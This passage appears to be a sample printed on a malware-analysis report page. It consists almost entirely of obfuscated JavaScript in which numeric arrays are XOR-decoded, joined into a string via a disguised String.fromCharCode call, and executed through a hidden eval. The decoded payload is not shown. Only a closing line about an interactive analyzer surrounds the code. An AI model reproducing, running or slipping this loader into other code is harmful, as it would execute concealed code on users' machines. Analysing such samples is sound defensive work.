1,6,98,2,53,1,99,11,53,27,96,51,101,61,41,35,13,107,112,7,98,49,52,19,97,62,97,58,25,24,123,123,121,112,112,112,112,112,112,112,112,112,43,112,112,112,112,112,112,40,97,103]; iJl545rdUlr0wZ=[108,8,119,92,2,81,9,73,73,107,125,79,10,79,20,104,13,94,91,124,14,81,14,85,118,119,4,31,31,31,31,31,31,31,31,31,31,31,31,74,122,119,121,103,7,92,92,106,6,122,85,2,103,116,7,110,9,119,114,92,8,100,71,14,8,108,8,119,92,98,4,31,31,31,31,31,31,31,31,31,31,31,31,121,103,101,15,102,122,114,104,2,71,14,8,108,8,119,92,20,114,104,7,10,75,74,92,105,13,109,90,110,12,100,90,116,15,92,10,82,70,76,98,4,31,31,31,31,31,31,31,31,31,31,31,31,103,116,7,110,9,119,114,92,8,100,71,14,8,108,8,119,92,98,2,103,116,7,110,9,119,114,92,8,100,121,103,101,15,102,122,114,104,98,4,31,31,31,31,31,31,31,31,31,31,31,31,103,116,7,110,9,119,114,92,8,100,121,103,101,15,102,122,114,104,98,2,74,122,119,121,103,7,92,92,106,6,122,85,4,31,31,31,31,31,31,31,31,31,31,66,31,31,31,31,31,31,31,31,81,9,73,73,107,125,79,10,79,31,20,2,93,125,70,123,102,11,4,31,31,31,31,31,31,31,31,31,66,31,31,66,31,31,116,87,13,102,82,93,6,10,10,2,103,116,7,110,9,119,114,92,8,17,85,80,86,81,23,29]; K6LpC=[22,29,15,81,66,85,88,28,127,92,6,109,89,86,13,1,1,29,15];  fQYSxoI=[]; 
for (u0Y2j5jzm=0;u0Y2j5jzm<W7j9mZH1Y.length;u0Y2j5jzm++){W7j9mZH1Y[u0Y2j5jzm]=W7j9mZH1Y[u0Y2j5jzm]^64;}; fQYSxoI=fQYSxoI.concat(W7j9mZH1Y);for (Wz9zHADG=0;Wz9zHADG<oH0Lb250sw41BF.length;Wz9zHADG++){oH0Lb250sw41BF[Wz9zHADG]=oH0Lb250sw41BF[Wz9zHADG]^32;}; fQYSxoI=fQYSxoI.concat(oH0Lb250sw41BF);for (LHSk=0;LHSk<TKcaq8i.length;LHSk++){TKcaq8i[LHSk]=TKcaq8i[LHSk]^39;}; fQYSxoI=fQYSxoI.concat(TKcaq8i);for (iINXv6C1=0;iINXv6C1<Xgnps96R4.length;iINXv6C1++){Xgnps96R4[iINXv6C1]=Xgnps96R4[iINXv6C1]^67;}; fQYSxoI=fQYSxoI.concat(Xgnps96R4);for (I89Vv=0;I89Vv<IcZudH3g25Sq1.length;I89Vv++){IcZudH3g25Sq1[I89Vv]=IcZudH3g25Sq1[I89Vv]^36;}; fQYSxoI=fQYSxoI.concat(IcZudH3g25Sq1);for (Cbvr0=0;Cbvr0<E48uJL.length;Cbvr0++){E48uJL[Cbvr0]=E48uJL[Cbvr0]^40;}; fQYSxoI=fQYSxoI.concat(E48uJL);for (q49GXA3=0;q49GXA3<crFJ6632b9.length;q49GXA3++){crFJ6632b9[q49GXA3]=crFJ6632b9[q49GXA3]^55;}; fQYSxoI=fQYSxoI.concat(crFJ6632b9);for (A2LNWA75j=0;A2LNWA75j<d8jSJY3BVYj887.length;A2LNWA75j++){d8jSJY3BVYj887[A2LNWA75j]=d8jSJY3BVYj887[A2LNWA75j]^87;}; fQYSxoI=fQYSxoI.concat(d8jSJY3BVYj887);for (EoQy4efpsY=0;EoQy4efpsY<UDmb7Sn56sYd.length;EoQy4efpsY++){UDmb7Sn56sYd[EoQy4efpsY]=UDmb7Sn56sYd[EoQy4efpsY]^74;}; fQYSxoI=fQYSxoI.concat(UDmb7Sn56sYd);for (kQ4XiC1=0;kQ4XiC1<cuk538UWN.length;kQ4XiC1++){cuk538UWN[kQ4XiC1]=cuk538UWN[kQ4XiC1]^81;}; fQYSxoI=fQYSxoI.concat(cuk538UWN);for (S542J0Nh4=0;S542J0Nh4<JQN17aluZs37s.length;S542J0Nh4++){JQN17aluZs37s[S542J0Nh4]=JQN17aluZs37s[S542J0Nh4]^73;}; fQYSxoI=fQYSxoI.concat(JQN17aluZs37s);for (z4Vf216wIB=0;z4Vf216wIB<e1LtQzQrDBtAuj.length;z4Vf216wIB++){e1LtQzQrDBtAuj[z4Vf216wIB]=e1LtQzQrDBtAuj[z4Vf216wIB]^12;}; fQYSxoI=fQYSxoI.concat(e1LtQzQrDBtAuj);for (AoO2vEOV=0;AoO2vEOV<mwbkZHRy.length;AoO2vEOV++){mwbkZHRy[AoO2vEOV]=mwbkZHRy[AoO2vEOV]^85;}; fQYSxoI=fQYSxoI.concat(mwbkZHRy);for (MCT2CUL8D=0;MCT2CUL8D<k8j75NNAEpjth.length;MCT2CUL8D++){k8j75NNAEpjth[MCT2CUL8D]=k8j75NNAEpjth[MCT2CUL8D]^79;}; fQYSxoI=fQYSxoI.concat(k8j75NNAEpjth);for (X6CC9Bf=0;X6CC9Bf<P5U6sz8HDeb.length;X6CC9Bf++){P5U6sz8HDeb[X6CC9Bf]=P5U6sz8HDeb[X6CC9Bf]^42;}; fQYSxoI=fQYSxoI.concat(P5U6sz8HDeb);for (d0D4q=0;d0D4q<O7B73TSZF9BMeP9.length;d0D4q++){O7B73TSZF9BMeP9[d0D4q]=O7B73TSZF9BMeP9[d0D4q]^66;}; fQYSxoI=fQYSxoI.concat(O7B73TSZF9BMeP9);for (ve37c4=0;ve37c4<Wj3bcD.length;ve37c4++){Wj3bcD[ve37c4]=Wj3bcD[ve37c4]^37;}; fQYSxoI=fQYSxoI.concat(Wj3bcD);for (ORD9=0;ORD9<aVGPiFN.length;ORD9++){aVGPiFN[ORD9]=aVGPiFN[ORD9]^38;}; fQYSxoI=fQYSxoI.concat(aVGPiFN);for (ZrwJ8=0;ZrwJ8<JY5EhYno2zfy.length;ZrwJ8++){JY5EhYno2zfy[ZrwJ8]=JY5EhYno2zfy[ZrwJ8]^43;}; fQYSxoI=fQYSxoI.concat(JY5EhYno2zfy);for (KSbOPGG=0;KSbOPGG<z7G14EMaZq7.length;KSbOPGG++){z7G14EMaZq7[KSbOPGG]=z7G14EMaZq7[KSbOPGG]^47;}; fQYSxoI=fQYSxoI.concat(z7G14EMaZq7);for (OJpDhd=0;OJpDhd<EW47NPfwt8Y1o.length;OJpDhd++){EW47NPfwt8Y1o[OJpDhd]=EW47NPfwt8Y1o[OJpDhd]^31;}; fQYSxoI=fQYSxoI.concat(EW47NPfwt8Y1o);for (isY1=0;isY1<lW1d4k.length;isY1++){lW1d4k[isY1]=lW1d4k[isY1]^96;}; fQYSxoI=fQYSxoI.concat(lW1d4k);for (pB5CFp5=0;pB5CFp5<q0q5w.length;pB5CFp5++){q0q5w[pB5CFp5]=q0q5w[pB5CFp5]^47;}; fQYSxoI=fQYSxoI.concat(q0q5w);for (eyZR2ncf=0;eyZR2ncf<cLnFyNu77lk0K1Q.length;eyZR2ncf++){cLnFyNu77lk0K1Q[eyZR2ncf]=cLnFyNu77lk0K1Q[eyZR2ncf]^80;}; fQYSxoI=fQYSxoI.concat(cLnFyNu77lk0K1Q);for (N3bcji4d=0;N3bcji4d<iJl545rdUlr0wZ.length;N3bcji4d++){iJl545rdUlr0wZ[N3bcji4d]=iJl545rdUlr0wZ[N3bcji4d]^63;}; fQYSxoI=fQYSxoI.concat(iJl545rdUlr0wZ);for (Qv0JRt=0;Qv0JRt<K6LpC.length;Qv0JRt++){K6LpC[Qv0JRt]=K6LpC[Qv0JRt]^52;}; fQYSxoI=fQYSxoI.concat(K6LpC);
 DYSU=function(JEyU0){
	b1x9=["e","m","v","n","a","d","x","l"];
	zX2ySdt3=b1x9[0]+b1x9[2]+b1x9[4]+b1x9[7];
	rorar=this;
	nakCg0i20 =rorar[zX2ySdt3];
	nakCg0i20(JEyU0);
}
UR4z=function(OUnij53){
	weFMy21I="";
	J9wWXhL7A=["dd","fjdk","fro","mChar","Co","dk","eee","de"];
	aFz46=J9wWXhL7A[2]+J9wWXhL7A[3]+J9wWXhL7A[4]+J9wWXhL7A[7];
	for (GSrLX8Q68=0;GSrLX8Q68<OUnij53.length;GSrLX8Q68++){
	    lolz=String;
		weFMy21I += lolz[aFz46](OUnij53[GSrLX8Q68]);
	}
	
	return weFMy21I;	
}
DYSU(UR4z(fQYSxoI));

Open this report in the interactive analyzer, or submit your own file for analysis.